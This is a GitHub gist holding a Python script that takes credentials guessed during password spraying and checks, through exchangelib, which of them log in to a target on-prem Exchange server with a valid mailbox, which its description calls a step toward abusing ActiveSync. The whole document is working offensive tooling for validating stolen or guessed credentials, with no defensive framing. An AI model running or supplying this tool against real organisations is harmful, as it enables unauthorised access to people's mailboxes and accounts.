Skip to content

Instantly share code, notes, and snippets.

@puzzlepeaches
Created February 2, 2022 16:25
Show Gist options
  • Star 2 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save puzzlepeaches/09243bbdaa6922010eeeb1f5a33d6280 to your computer and use it in GitHub Desktop.
Save puzzlepeaches/09243bbdaa6922010eeeb1f5a33d6280 to your computer and use it in GitHub Desktop.
Lets you feed in a list of user credentials guessed during spraying to check if they have a valid mailbox for an on-prem Exchange server. Basically an easy way to tell if you are going to be able to abuse an ActiveSync endpoint or not. Need to install exchangelib for this to work.
import os
import argparse
from exchangelib import Credentials, Account, Configuration
from exchangelib.errors import ErrorNonExistentMailbox, UnauthorizedError
def args():
parser = argparse.ArgumentParser()
parser.add_argument("-c", "--creds", dest="creds", help="List of known valid user credentials in the format user@acme.com:password", action='store', required=True)
parser.add_argument("-t", "--target", dest="target", help="Target Exchange server.", action='store', required=True)
args = parser.parse_args()
if args.creds and os.path.exists(args.creds) == True:
pass
else:
print("File doesn't exist!")
exit()
return args.creds, args.target
def check(creds, target):
file = open(creds)
content = file.read()
combo = content.splitlines()
for i in combo:
line = i.split(":")
try:
credentials = Credentials(f'{line[0]}', f'{line[1]}')
config = Configuration(server=f'{target}', credentials=credentials)
account = Account(primary_smtp_address=f'{line[0]}', config=config, autodiscover=False)
var = account.inbox.total_count
except ErrorNonExistentMailbox as neb:
print(f'[!] Mailbox does not exist for user: {line[0]}')
except UnauthorizedError as err:
print(f'[!] Invalid credentials for user: {line[0]}')
else:
print(f'[+] Mailbox exists for user: {line[0]}')
pass
creds, target = args()
check(creds, target)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment